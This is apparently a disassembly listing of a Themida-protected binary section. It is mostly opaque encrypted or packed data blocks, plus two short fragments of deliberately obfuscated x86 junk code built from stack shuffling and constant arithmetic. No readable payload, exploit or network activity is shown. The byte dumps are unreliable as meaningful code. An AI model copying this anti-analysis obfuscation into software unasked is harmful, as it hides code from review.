		dd 5BDB23F0h, 5B26C1AEh, 20EB4CCDh, 0A105E010h,	558175D8h
		dd 6BFB0988h, 7483152h,	0CCB2027Eh, 0AF61CE91h,	59648009h
		dd 7490F9DFh, 0E504CD29h, 0AFA1061Ch, 5CC0830Eh, 71FAEDD5h
		dd 0AFB96AF2h, 0D1B8218Fh, 0E14A7565h, 0A6EBD23Eh, 0F79A24B4h
		dd 6D4DBB2Ch, 51C5081Ch, 31583985h, 29CD95Bh, 0E125C85Ch
		dd 3A000006h, 0A937E8A1h, 38C87B16h, 0A632EDA4h, 2CAC7712h
		dd 2244FF92h, 0ACE5F916h, 34556573h, 0BDCCEDEBh, 2A677682h
		dd 0FC87E8F9h, 9AB90CB4h, 220F2F7Ch, 8E8AD5BCh,	6EE9622Fh
		dd 43E1B7A5h, 0FD917BFCh, 44ADF043h, 1D0A1307h,	0CF9FF17Ah
		dd 1F67A105h, 0A793CEBBh, 0D6BB229Dh, 7E13AA32h, 4B18C5h
		dd 31460000h, 0B7AB058Eh, 4873A106h, 1CB8E1EEh,	0B13AAD15h
		dd 0AFBB236Ch, 0ADBCFF2h, 9373FAFEh, 3589F798h,	1B1D135Ch
		dd 0C47AC0D9h, 85336952h, 90BBB608h, 4D167916h,	0ADA1B543h
		dd 0AF018A0Bh, 77ADA1B4h, 0A62D0954h, 45h, 0CF373EBCh
		dd 48948F5Ch, 0B31EAFBEh, 40CD738h, 0CCA74EE6h,	0B4359581h
		dd 0E5888853h, 0ED50A74Eh, 0B56DC009h, 0D63EA74Eh, 2C24948h
		dd 49489709h
		dd 0FA8F2BBBh, 4912D347h, 0B606675Ah, 7FA6D9E4h, 0CBh
		dd 5D7F3163h, 7316A434h, 1CF04A55h, 0B13AAD15h,	0AFBB2366h
		dd 0B0A7CC03h, 4DE2039Fh, 7DCF4902h, 0E03A5A9Ah, 2B5E7C0Ch
		dd 5CCF929Dh, 357310ACh, 2E6371A9h, 0CDD0F429h,	8773E469h
		dd 11B7DAE5h, 8B99F0C9h, 3E7C8A02h, 2E9D69A7h, 9BAE4230h
		dd 6A2Ch, 373E0200h, 0CE5A2F8Ah, 0D4F0A13Eh, 5EC994C9h
		dd 226F4FC1h, 238B8B38h, 0B417AFBBh, 907D433h, 0D1A75453h
		dd 14C38C6Eh, 0B73FADE4h, 0ADF00214h, 35FE9Bh, 3EE00000h
		dd 8F5CCF37h, 0AFBB238Eh, 2996A914h, 6722B7D1h,	0EBA639C1h
		dd 0CE1894DDh, 4F97D5ECh, 0ADEB9A7Ch, 0BE1E8A9Bh, 0F2EA35D3h
		dd 1C1FC5CCh, 0DC93Ah, 5A50000h, 0A106A17Fh, 0FEF3AD50h
		dd 3191FFFFh, 9430597Fh, 0D65DAD89h, 196EFDEEh,	0E3AFBB27h
		dd 1DC16FD8h, 0E94D5074h, 4EB6BDE9h, 0BB053ADDh, 867B0BC4h
		dd 0E4D8E155h, 7FB60881h, 40E4AD11h, 86C919FDh,	0C73F3662h
		dd 1818E344h, 1BADA1B2h, 0B768C51Eh, 0B4171DD4h, 0B9D6A542h
		dd 43BC5552h, 0E3B00FF8h, 0B3EE82CDh, 32C12A95h, 0B3EE82DEh
		dd 3EBF9BA6h, 0A3A4EDD2h, 4EA8E9F5h, 4FC73E9h, 0F22F7803h
		dd 0D6F9C2A2h, 6516A355h, 0D6F06196h, 1E611C20h, 13D0DA05h
		dd 4615A853h, 635E73BDh, 0F1A03F52h, 14CC8D3h, 0A304033Ch
		dd 635ED8D8h, 0B99DA052h, 0E301902Dh, 0DF48B8AFh, 1AEFDB14h
		dd 0CE5A6561h, 0E095619Fh, 5CCB94FDh, 6D5819E3h, 1307BDADh
		dd 714EF6C3h, 409D012h,	0CF922A50h, 9D2BF639h, 0B03AE35Ch
		dd 0B1D2DC8Ch, 5F62860Bh, 17A83822h, 0DD736E7Ah, 0B9057311h
		dd 15014CD8h, 0E699F0C9h, 17D5EE69h, 0BB500311h, 519DF5A9h
		dd 9C7EC320h, 81C6D4Ch,	0D19C588Fh, 0E44523D8h,	212CB8D9h
		dd 0E5A4135Ch, 0C9A97F1Eh, 0AAAE606Dh, 4495E02Eh, 9B0DFA45h
		dd 33B45041h, 0AAEB68A8h, 500D3058h, 363E60E6h,	19A434D0h
		dd 0B8218F78h, 0FFE833D1h, 6B81C74h, 7DD9E4A1h,	2EB8345Dh
		dd 4A15ED63h, 1A2EFCEh,	0C913AB5Eh, 0EAC3CC8h, 0C8446D7Bh
		dd 0E9A8373Eh, 6B8DD0DBh, 4F6E070Fh, 7D84842h, 39F0547Ch
		dd 0D5D8ECA5h, 827C507Ah, 20EB4CBFh, 0A105D910h, 0E79A75D8h
		dd 364A1B60h, 0BF2CB08Ah, 0A106B271h, 0D8EC9D3Dh, 0C5632E90h
		dd 2E8C5A96h, 5025F10Fh, 0DF61226Fh, 0D4798FFAh, 0A106B2B7h
		dd 0FC7985E9h, 4873ACDDh, 0A106A104h, 69FC5915h, 6BF69560h
		dd 0B8FFFFFFh, 4AC4B631h, 7A0B5000h, 166D50A0h,	11F0EA3h
		dd 0DAB70632h, 97A9DAA7h, 0A8384B46h, 0AEE37C15h, 9FF17A1Dh
		dd 67A106B0h, 0ECFAF264h, 695D3489h, 604E0113h,	3CFD95h
		dd 3EB10000h, 5F328A37h, 50BB86C9h, 0BB2379C3h,	0A5BE01AFh
		dd 13A7C732h, 43748B68h, 0BC81275Fh, 93FEE028h,	7680EC75h
		dd 0B73FCD44h, 787353DAh, 921B1EBh, 941639B6h, 35C9h, 373EF500h
		dd 8D8F5CCFh, 15AFBB23h, 0D02699AAh, 0C0C452BAh, 3216850h
		dd 0A7AE5EB8h, 3ACEC31Ah, 60840DB2h, 0EA5D205Dh, 8D04DB4Dh
		dd 0BF1C20A9h, 99A4B608h, 0BB22E72Dh, 13AA32D6h, 612A8D7Eh
		dd 0A106B84Fh, 0DD42B417h, 1710F077h, 0B7A5EB78h, 626DA106h
		dd 476CF7F8h, 0D1AFBE5Bh, 97F55A6Eh, 0D6A74ED8h, 0F16368B6h
		dd 0ED9BA871h, 5Bh, 0F23ECD6Ah,	0BAA74ED0h, 3199A397h
		dd 0C630597Fh, 44C73F36h, 0BE5414B7h, 0CEEE9EAFh, 0ECA539C3h
		dd 0E6269331h, 0B2A74EE3h, 13638108h, 21C7CAh, 9BB00A14h
		dd 31DFA571h, 96E60287h, 70BB4948h, 61F349ADh, 519BA880h
		dd 0A780FBDFh, 618C1FF3h, 0A0AB3904h, 0BD45B6h,	22190000h
		dd 0B255D6BBh, 6B7E729h, 8C8CAFA1h, 0D6F66031h,	0CB593886h
		dd 0D9EFA23Bh, 1A652C91h, 1E30B22Dh, 3DF85764h,	83A9F0D9h
		dd 0AA33A106h, 419C9CE7h, 0C533B450h, 50A496F3h, 3015DBD9h
		dd 0DA751271h, 34D7A4A7h, 0BEAFBE00h, 0E56CD093h, 20612A1Dh
		dd 0A6B60113h, 0B09A9665h, 5F62AD98h, 67772922h, 0D7E7F92Ah
		dd 23C393BAh, 0FCB0FC55h, 1A751h, 0AEDB0000h, 355C6375h
		dd 0C3CEEEEAh, 31588080h, 0C5CCF2EEh, 3FD0EC7Ah, 0AF31F29Fh
		dd 33C57E0Bh, 0A0A0E3A6h, 0E0B543Dh, 6D2DEADh, 159A9AB9h
		dd 0D5BC2229h, 73229D8Ah, 0FB33CFA9h, 79347C07h, 0D1FCA106h
		dd 9F3EAA8Ch, 3E1531F2h, 0BB5CCF37h, 6B7E030h, 0CAA5A8A1h
		dd 0A5014BC5h, 2ACB2F3Bh, 4F612A8Dh, 1BA1063Bh,	0F33ECABFh
		dd 5380DAE5h, 0AFBDD7D8h, 24C95F62h, 0A74E6808h, 6D50C047h
		dd 0C3C61424h, 78539B57h, 9BA804E6h, 0B1E2h, 39C26500h
		dd 0A74E5BF7h, 617C7CBFh, 0AD899430h, 0C8BB22A7h, 0DA11B5h
		dd 52DBC689h, 61CF3805h, 0A5251178h, 0FC088955h, 6484A4Fh
		dd 8809D4A1h, 1D7449D7h, 2C949B07h, 463B30BBh, 28D8AFBEh
		dd 0DD01FB96h, 2F9242B4h, 0B90900F4h, 94FDE24Eh, 36E245A2h
		dd 0C310EAA7h, 0B601649Dh, 3FF15A65h, 0AF31F29Fh, 15CB820Fh
		dd 5EFC54E2h, 0A623CEh,	0DCFF0000h, 596672ADh, 0E3F90738h
		dd 556375AEh, 0D1EDEB34h, 0CDEF7FC0h, 34EFA23Ch, 0B07316A4h
		dd 3F008930h, 0AA751CC1h, 0F13FCC2Fh, 0B99AB905h, 0BC22CA74h
		dd 2F8E8AD5h, 0CF8F9754h, 94C93F7Fh, 0BB22B3CBh, 13AA32D6h
		dd 0AA33C57Eh, 419C9CE7h, 2507B450h, 0B1DB36FFh, 1565830Eh
		dd 0E021C7CAh, 2F10AA74h, 0A13C39C5h, 50C02FF0h, 8CFDDC68h
		dd 647965D1h, 694F972Dh, 97D50420h, 0FA97264Fh,	7F5AC649h
		dd 7D0907D4h, 6ED1DAD6h, 490A15B3h, 0C95946FDh,	0B727130Bh
		dd 0F25D6B26h, 8, 5F7F31D0h, 77AFC832h,	34D0B922h, 6C7819A4h
		dd 38CCBD1Ch, 697F0AB0h, 30D4BD21h, 6D7B16A8h, 3ACEBB1Dh
		dd 61870AB2h, 3DCBC619h, 0E38953D9h, 4C381h, 0BA520000h
		dd 4, 875AD329h
		db 1Ch,	24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	33C1h
		mov	[esp], ecx
		push	ebp
		push	6F4D3D11h
		pop	ebp
		shr	ebp, 6
		push	esi
		mov	esi, 3F035FBh
		xor	esi, 47F93D77h
		and	ebp, esi
		pop	esi
		dec	ebp
		add	ebp, 6449D19h
		mov	edx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	eax
		mov	eax, edx
		push	eax
		pop	dword ptr [ecx+8]
		pop	eax
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5514A4
; ---------------------------------------------------------------------------
		db 0FFh, 9Fh, 0ACh
		dd 0E280F755h, 0B87BB00Bh, 64DB2EEh, 0E0FFC503h, 2990BB0Ah
		dd 5FB19186h, 2FA64B40h, 0BBCC930h, 5A6E9D54h, 2FAE9F2Ah
		dd 698289FEh, 4BFAF182h, 242D314Eh, 32D40566h, 54875AF1h
		dd 7573C9A5h, 0DD57179h, 5EB3F0F4h, 43B8B623h, 39FF498Bh
		dd 62A3FA00h, 7795DEE7h, 7689C54Bh, 0B4C28D8Dh,	6A064Dh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 507D1EC3h, 858BF6C6h, 6482155h, 198D89F5h, 6A06480Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 23F2C356h, 79BD89E9h, 0C706482Dh,	480F3585h
		dd 592006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 48B20D0Dh, 9ABB8A0h, 481B918Dh, 2585C706h
		dd 64824h, 66000000h, 0B5FFD78Bh, 6482281h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0B9C35646h, 851C15Fh
		dd 8D89D0FEh, 6482135h,	20BD95FFh, 880F0648h, 6, 18B58D31h
		dd 6A0648h, 306195FFh
		db 48h
byte_598231	db 6, 8Bh, 0C0h		; DATA XREF: Themida_:0053EEA4o
		dd 0E83E2DEBh, 12F9581Bh, 7C94919Ah, 0D96978Eh,	0E963CB4Dh
		dd 0B1AE7ABDh, 7C7C8214h, 41726D56h, 81500EDDh,	0E61F90B4h
		dd 84E53226h, 8D6BE6BAh, 4DB5EA8Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0FBD2D293h
		dd 137FE00Dh, 2DCD958Bh, 8D890648h, 6480A19h, 1059503h
		dd 85C70648h, 6480F35h,	68D0h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0FC35545h, 5C080F9Ch, 242585C7h
		dd 648h, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 140424h, 51410000h, 8B6083C3h, 4828599Dh, 61CE8B06h
		dd 0B5FFF78Bh, 64826E5h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0CEC35242h, 91F8E51Eh, 26D2BFEAh, 219589E6h
		dd 0FF06480Dh, 4820BD95h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 4E2BB4D2h
		dd 6A812Dh, 306195FFh, 0C08B0648h, 2CB95EEBh, 4F49135Ch
		dd 4E307AF7h, 0E4EF8E24h, 6A4F86E3h, 33A2E91Eh,	5C3247E3h
		dd 22874439h, 0EF47EA2h, 2B4F4DC9h, 84504BDBh, 630C4BC7h
		dd 34E13D78h, 0B734361h, 0DC04A963h, 433ED375h,	86CEB526h
		dd 0F20774Ch, 0D843D8CCh, 5B0824C0h, 54AF8D81h,	0F57F720Bh
		dd 969871C5h, 990151B8h, 24EBh,	8 dup(0)
		dd 0BDE90000h
		db 3 dup(0)
byte_5983E7	db 89h			; DATA XREF: Themida_:0053D864o
		dd 4DB64FB5h, 49858B06h, 8B064819h, 480AB985h, 99B58D06h
		dd 8D064DB6h, 4B4B7385h, 0C3D0FF06h, 0E855h, 815D0000h
		dd 4DB69FEDh, 49BD8306h, 1064819h, 2C850Fh, 0B5FF0000h
		dd 64DB64Fh, 0AB9858Bh,	36350648h, 0FF348127h, 0F013CD0h
		dd 0A85h, 1B800h, 47E90000h, 33000000h,	40E9C0h, 1C6A0000h
		dd 0B653B58Dh, 0FF56064Dh, 4DB64FB5h, 0B9858B06h, 3506480Ah
		dd 34812736h, 0C483D0FFh, 53B58D0Ch, 8B064DB6h,	0E0831446h
		dd 4F88304h, 7840Fh, 0C0330000h, 5E9h, 1B800h, 0BD830000h
		dd 6481949h, 7850F01h, 5D000000h, 2E9C3h, 0CF5D0000h, 0B678858Dh
		dd 8589064Dh, 6480AF5h,	98E9h, 9400h, 500h, 100h, 0A2800h
		dd 200h, 20h dup(0)
		dd 45FB4700h, 0BA7E94Fh, 79680000h, 0E9064DB9h,	0FFFAC56Fh
		dd 4DBA6168h, 0C565E906h, 7D68FFFAh, 0E9064DBBh, 0FFFAC55Bh
		dd 4DBC0268h, 0C551E906h, 3A68FFFAh, 0E9064DBDh, 0FFFAC547h
		dd 4DBDA668h, 0C53DE906h, 0F668FFFAh, 0E9064DC0h, 0FFFAC533h
		dd 4DC1E668h, 0C529E906h, 9E4EFFFAh, 9CB9EA52h,	0A1B7E850h
		dd 0A4BADB55h, 0A8BFE058h, 5D65F45Ch, 89B3FFD8h, 7BB501D8h
		dd 93BD09DAh, 8CC410C2h, 9608E408h, 9656146Bh, 6981F33Fh
		dd 0CD348053h, 0E12D2552h, 28400077h, 9DFF203Ch, 727E9B54h
		dd 0EBB8B47Eh, 41498F72h, 233765DEh, 1C911EFAh,	9EBA4DBAh
		dd 560EB8A8h, 0B8B4AAC6h, 9978560Eh, 0FC758E71h, 954BFAAFh
		dd 0F83EF4Bh, 58560F71h, 9A259B7Ah, 0E95B39CFh,	4Dh, 0D3E95B7Dh
		dd 408C4475h, 4C182207h, 8E9EAB80h, 75E23B49h, 0C183735Fh
		dd 0B905E083h, 0A97F9B6Eh, 0AE57A3BCh, 4463D775h, 0D804560Fh
		dd 69DC6BC7h, 63AF2FAFh, 0B5A616EDh, 0A8D7509Ch, 84DD66B2h
		dd 0C0C3919Dh, 0C35B3938h, 0C1h, 1D69815Bh, 0E5A7522h
		dd 24706215h, 7F58811Bh, 0D1F9D833h, 7CB47CF7h,	61ADA5B2h
		dd 0BB8FABF7h, 4FC751CBh, 6CC669h, 4FC75545h, 0A5A9BAB0h
		dd 4FC74DB1h, 26839C83h, 5D62249Fh, 0D091CB62h,	0FC55CE1Ah
		dd 2438243Ch, 0A8423438h, 0FF24FC7h, 8F546703h,	779A498Fh
		dd 0AEC676BDh, 0E0B0BE92h, 9D844FD4h, 75C196BFh, 79C59ABBh
		dd 0BFD1FC99h, 8D70BBCCh, 949h,	50085408h, 520A560Fh, 510B5711h
		dd 520A5610h, 520A5611h, 0D1860BD3h, 0D78ACB85h, 0DB90D18Bh
		dd 0DEF4A58Fh, 0EA36AA92h, 146C70E6h, 1D21C456h, 2E7A5586h
		dd 55020CF5h, 55062E7Ah, 5B07317Dh, 0EB2EED42h,	2F0B400Bh
		dd 0D1E95B15h, 1EF01FF2h, 2E421E0Dh, 4FC6F938h,	50EC15FCh
		dd 8EE4A77Ch, 212A0549h, 0F1D1F93h, 438F4256h, 6E845708h
		dd 4ED9307Ch, 0DE894C22h, 0FA705383h, 5B397FE5h, 0B19Eh
		dd 69813800h, 5A75221Dh, 0BE77150Eh, 2E4FC6B6h,	3F6A41D5h
		dd 0E95A9E5Ah, 0C798A2EEh, 0CC8DC713h, 0E381CA16h, 6783F3F7h
		dd 4EB14FC7h, 0B5CB6DC4h, 4F30C387h, 23FE498Fh,	0EA024239h
		dd 0BC13727Eh, 0E6494FD4h, 7199297Ah, 0FDCCFD97h, 57102931h
		dd 5710510Bh, 45DC2841h, 0BF3A52E5h, 5BBA65CCh,	861h, 58004C20h
		dd 5A024E07h, 59034F09h, 5A024E08h, 5A024E09h, 697E03CBh
		dd 6F62331Dh, 73683923h, 766C2D27h, 82AE322Ah, 146CF86Eh
		dd 95993C56h, 327E5586h, 590610F9h, 5E0A327Eh, 33A0545h
		dd 15466246h, 0D039F23Eh, 0F5411946h, 6981013Bh, 5D75221Dh
		dd 0F0502711h, 0B0606CD8h, 498B05h, 6A1E905Ch, 290E5614h
		dd 0E63FE632h, 3D89617Ah, 16364713h, 0ED8E14CDh, 69C00CC4h
		dd 1841A5CDh, 5E025614h, 0FD263A26h, 8EB0EEB2h,	0CCC28E67h
		dd 6056149Eh, 0C5E175C1h, 0B46FBB94h, 0DC62C14Dh, 0A894AC8Ch
		dd 0DC815BA4h, 0ADC1A94Fh, 4FCC7FB9h, 6C6D947Bh, 14113B70h
		dd 0A8C080DCh, 0CF4FB0BCh, 2337DD5Bh, 4BCD5747h, 0D13AD5E5h
		dd 0AFE4C5E6h, 0BD63AF98h, 16DA0662h, 0E54C6DA0h, 9CA16D94h
		dd 0EF4D63D5h, 12EC85DBh, 0C387B3DFh, 0E394ECD3h, 9278C496h
		dd 0C612CC6Fh, 11DD015Fh, 0E394EC9Dh, 63AFA68Fh, 8EA881E8h
		dd 0A1EDE5D6h, 0A8F4E6B7h, 7385F98Ah, 8E6FB85Fh, 745h
		dd 4C045004h, 4E06520Bh, 4D07530Dh, 4E06520Ch, 4E06520Dh
		dd 0CD8207CFh, 0D386D781h, 0D78CCD87h, 0DA90D18Bh, 0EE32A68Eh
		dd 146E6CE2h, 1925C056h, 62A91D86h, 85BE0ADFh, 21F7839Ch
		dd 3FE6322Dh, 0E4FC3CF3h, 3E8A5F78h, 0B46468F4h, 3E498B36h
		dd 0A7E0A9E5h, 41CD38CDh, 332440DFh, 24E041Ah, 0F49E049h
		dd 4B974Eh, 5BE23B64h, 1D4CE7E0h, 0D42DF642h, 5E74E12Dh
		dd 0BA790412h, 0EB34CAF0h, 6C00Ah, 216D7F00h, 236F6637h
		dd 24706839h, 27736B2Ch, 27736C2Dh, 23A82E2Dh, 2778E02Ch
		dd 2D6EE632h, 3172EA36h, 4F43ED39h, 6F4F3F0Bh, 6DD5614h
		dd 0D3E95BBCh, 11854975h, 204FC6B3h, 4F67C169h,	8EB74F7Fh
		dd 0B29790DCh, 0C7A3BF5Bh, 498BD999h, 0EBCC7897h, 0CAB1ABF7h
		dd 0EE025E96h, 56141784h, 0D6DE69C8h, 561417DDh, 0C47FCB84h
		dd 0B972BE93h, 7722E177h, 0BC5F6CAh, 0FBD384BFh, 748D74AFh
		dd 0E75DB89Ah, 5B3E75DCh, 45A7h, 1D863F00h, 14208B22h
		dd 37FA143Bh, 2C222E21h, 354FC6CBh, 0EF52CD19h,	3311F817h
		dd 0C6CB2B17h, 251E014Fh, 3EF82677h, 8C7D8CF6h,	8870EA82h
		dd 0BFF74FC7h, 0E6F18E04h, 79254F1h, 2C000000h,	1DA3Fh
		dd 0BF4FD300h, 49F70D2Fh, 8E95BA85h, 0D4250C49h, 0B4459CB8h
		dd 8BA1A3E6h, 1C2E11DDh, 120F371h, 0F3023A63h, 0FFE0FF00h
		dd 0F5470A33h, 445D81DFh, 9E2FA331h, 840B9CB7h,	0EEC1EE09h
		dd 196FFB17h, 47F937C3h, 24FD491Eh, 0FF4B1F38h,	4E0455h
		dd 0C79B5365h, 0D2B5907Bh, 7EA7F3EBh, 3CD287A7h, 7AA5655Ch
		dd 5889Bh, 49954700h, 4B974E0Fh, 4C985011h, 4F9BB3E4h
		dd 4F9BB4E5h, 0CB5076E5h, 0CF90C814h, 3566CE1Ah, 396AD21Eh
		dd 775BD521h, 70271733h, 0EE055614h, 1D6981E4h,	89617A22h
		dd 0FE3EF13Dh, 71767AE6h, 0DD498E94h, 8D96E2FCh, 69C85AB4h
		dd 19FAA2FBh, 0FDCDC2F8h, 0F387DF1h, 0B950AF56h, 0B2A8F95Dh
		dd 3999C866h, 135CCAF5h, 51C22h, 0BD09DB00h, 0BF0BC293h
		dd 0C00CC495h, 0C30FC798h, 0C30FC899h, 0BF448A99h, 0A3F45CA8h
		dd 0A9FA62AEh, 0ADEE66B2h, 0EBEF69B5h, 70BBABBFh, 5A795614h
		dd 1D698158h, 0F844163Fh, 6476291Eh, 79700F18h,	8D45F22Dh
		dd 0DC020641h, 71BF4EF9h, 9428E48h, 0ED368256h,	964AED14h
		dd 0E28014Ah, 3E14894Ch, 51E4AF2h, 9448F74Ah, 336B946Dh
		dd 5D183171h, 4360FE18h, 7554F207h, 1F0F210Ch, 8793A293h
		dd 20A6h, 0E95B4000h, 4A5975D3h, 0A4498E99h, 0B0AAC27Dh
		dd 0B7560EDEh, 0B1CE447Fh, 0D25B3940h, 63h, 0EE95B6Ch
		dd 1FC621F5h, 0F381DA81h, 4FC72B83h, 0D1C589B1h, 634FC72Bh
		dd 0A0BC65BCh, 8F727ACCh, 0DC3F449h, 4CB375C1h,	0C20EC7F0h
		dd 0DEF2CE9Ah, 560EE668h, 0F3F765CCh, 560EE683h, 0A8C44EB1h
		dd 560EE6B3h, 0D470BCAEh, 0C49DC6ABh, 0F33FCD3Fh, 0D7233A5Bh
		dd 41FE94Ch, 92C30000h,	5CA8A5BBh, 5BD369C5h, 5975D3E9h
		dd 498E9C46h, 8764C1E2h, 0D97CD962h, 0FB44EB3Dh, 0E3A865Ch
		dd 50F552F5h, 0FB172A17h, 3590E642h, 0B692AA9Ah, 0B581CD85h
		dd 0C60EA1ADh, 411A4FD6h, 0F13D1329h, 0E03AD336h, 2C6DE74Ah
		dd 0FA462036h, 45093513h, 4FC6BA51h, 4DF23CE3h,	401C3404h
		dd 12233B1Ch, 0C6BA483Eh, 0DC45EC4Fh, 0BA2D1A52h, 20FF498Eh
		dd 0B0136927h, 61DB273Bh, 36122A1Ah, 0D6C01D1Ah, 3930094Fh
		dd 20FF21EDh, 16627827h, 654112Ah, 8DB70EB9h, 0AB748D62h
		dd 0A3C9BD91h, 0C46B4FC7h, 0BC6CD15Dh, 64D46FA6h, 63DCF04Ch
		dd 91498FA9h, 4B1D26Eh,	0D3140217h, 556FA14h, 1E46014Dh
		dd 33382E42h, 3A31560Fh, 36CC35EEh, 491E3FDBh, 3B1542FDh
		dd 4E0334EFh, 58D31F38h, 410F18F1h, 0EF7B28EBh,	0DA4EDD9h
		dd 55AB7DA4h, 551097Eh,	3C54E44Bh, 0F8634C20h, 2ED14FD6h
		dd 9108F112h, 633C6306h, 0E5D66ED7h, 0F6A9A2EEh, 0A36F96E2h
		dd 0D98AA0B2h, 8CAF928Dh, 6BBE89D5h, 4D689C2h, 0C967D7F3h
		dd 6AC54FC6h, 0FFD788C3h, 0A2B878B3h, 0E278B863h
		dd 0CF82B323h, 0C080B783h, 0C7B0BCA8h, 75498EC9h, 0E901A29Ah
		dd 0DDF5A29Dh, 70D0A791h, 0ECD0EC58h, 0EC96EE0h, 0D763BE56h
		dd 0D6A8D09Bh, 687F584Fh, 0E9239357h, 0EE114FC6h, 0A25FB17h
		dd 0E93F3341h, 0A284FC6h, 474A55CBh, 323954F1h,	0CD000000h
		dd 75D3E95Bh, 8E9E8259h, 1745EC49h, 3C142A3Eh, 760E19F0h
		dd 0EDEE45Ah, 40E94856h, 4F4351F6h, 18560EDFh, 5A65DB3Ah
		dd 295B3941h, 0DDh, 1D6981BDh, 445A7522h, 1D043F8Bh, 50DB273Ah
		dd 681710F9h, 7F1D2672h, 0EC378356h, 865CF915h,	8CE65638h
		dd 569A85D1h, 46AD56E9h, 0F76C448Ah, 0FF9B956Ch, 82B1FFD6h
		dd 551A8007h, 4B27F31Ah, 4FC7B512h, 27115D75h, 0F186476h
		dd 86E2FA4Ah, 8FACD16Ah, 48F41B49h, 491C4B37h, 95A16BA1h
		dd 9FB4A5C1h, 0A9F5F053h, 0C86FCB9Eh, 0E8046078h, 4FD4EA05h
		dd 21955985h, 134FC90Ah, 210022ECh, 0F13D1243h,	0F98A2A53h
		dd 45164588h, 1B3465E9h, 811E3FCFh, 8ED9CCBFh, 1CCAFh
		dd 8DD98B00h, 8FDBF2A3h, 90DCF4A5h, 93DFF7A8h, 93DFF8A9h
		dd 8F14BAA9h, 0F3A48CD8h, 0F9AA92DEh, 0FD9E96E2h, 3B9F99E5h
		dd 736BDBEFh, 2AC95614h, 18668128h, 17207A22h, 46EE1705h
		dd 47F13D15h, 0D3E95BFDh, 9E825975h, 45EC498Eh,	0DEF872FAh
		dd 476F560Eh, 2C401C8Ch, 560EDF3Ah, 87E52FAh, 2C560EDFh
		dd 44121C05h, 5B39413Fh, 0C344h, 6981DA00h, 667A221Dh
		dd 0B300767Ah, 0CD344FC6h, 0C6B30F7Fh, 38021D4Fh, 5BE43027h
		dd 0A528E041h, 77B0726h, 0E12D7954h, 0C78ECC89h, 0D523374Fh
		dd 0A614A416h, 0D57FA6F1h, 0C982CE84h, 8CB8D070h, 0B71AB973h
		dd 0E3546954h, 0BCA59EEAh, 0E5D6EA72h, 0C3A6A1EDh, 9C68FB77h
		dd 6BC6498Fh, 0A2BA8AF1h, 9A4AAC6h, 0C9684FD5h,	59A5BA9Bh
		dd 93A9BEDFh, 50B972BEh, 0F8FA59B9h, 6AB5CCBFh,	0DC8Bh
		dd 7DC99B00h, 7FCB82D3h, 80CC84D5h, 83CF87D8h, 83CF88D9h
		dd 0FF844AD9h, 0E3B49CE8h, 0E9BAA2EEh, 0EDAEA6F2h, 2BAFA9F5h
		dd 747BEBFFh, 1AB95614h, 50668118h, 7EB64F9Bh, 91DDF9E2h
		dd 0F667B396h, 0E6A098E4h, 221D6981h, 33115D75h, 46014D02h
		dd 38FF57E3h, 6854F008h, 0C6B2F264h, 53DF424Fh,	5A94307h
		dd 0AE97498Bh, 52B770BCh, 0E3D470BBh, 0C1A8A3EFh, 0A4F2E875h
		dd 5C9A789Ch, 8BC55C4Dh, 53CC18CAh, 1B8FCD39h, 819650Dh
		dd 79616E63h, 0BB9D796Dh, 0A3EFE358h, 9B94EDB9h, 7B37998Dh
		dd 687ADB37h, 6079231Ch, 2747889h, 329F0C8Bh, 14ED36CFh
		dd 35815DFAh, 0ED283EEAh, 1E166278h, 2B19657Dh,	8B4B3B0Fh
		dd 0C0E69F0Ch, 50BCBEF2h, 6FCB66BCh, 367D6h, 631B0000h
		dd 1F6B8117h, 135F7324h, 28746718h, 1D69801Fh, 0E5A7522h
		dd 216D6215h, 115D7926h, 236F6916h, 125E7728h, 0D687419h
		dd 89000019h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		mov	ebp, 328B6177h
		not	ebp
		not	ebp
		xor	ebp, 76B633E1h
		push	eax
		mov	eax, 16175874h
		add	eax, 1AA8F7A2h
		or	ebp, eax
		pop	eax
		xor	ebp, 72B0EAA5h
		mov	esi, ebp
		pop	ebp
		push	17EBh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 8
		add	ebx, ecx
		mov	[ebx], esi
		pop	ebx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_544ACB
; ---------------------------------------------------------------------------
		db 60h,	53h, 2Ah
		dd 0D78C9503h, 9E6EF63Dh, 0C2E7B8DBh, 0C503064Dh, 6AC0E0FFh
		dd 0F881163Eh, 98846F29h, 63263BB8h, 1BF050F3h,	1E174BB9h
		dd 0D5CB3AB9h, 0B70D398Bh, 0F0B04239h, 0E4AD1325h, 55754F21h
		dd 0E29A3896h, 0BD7A7DAAh, 0A2C5073Ch
		db 94h,	54h
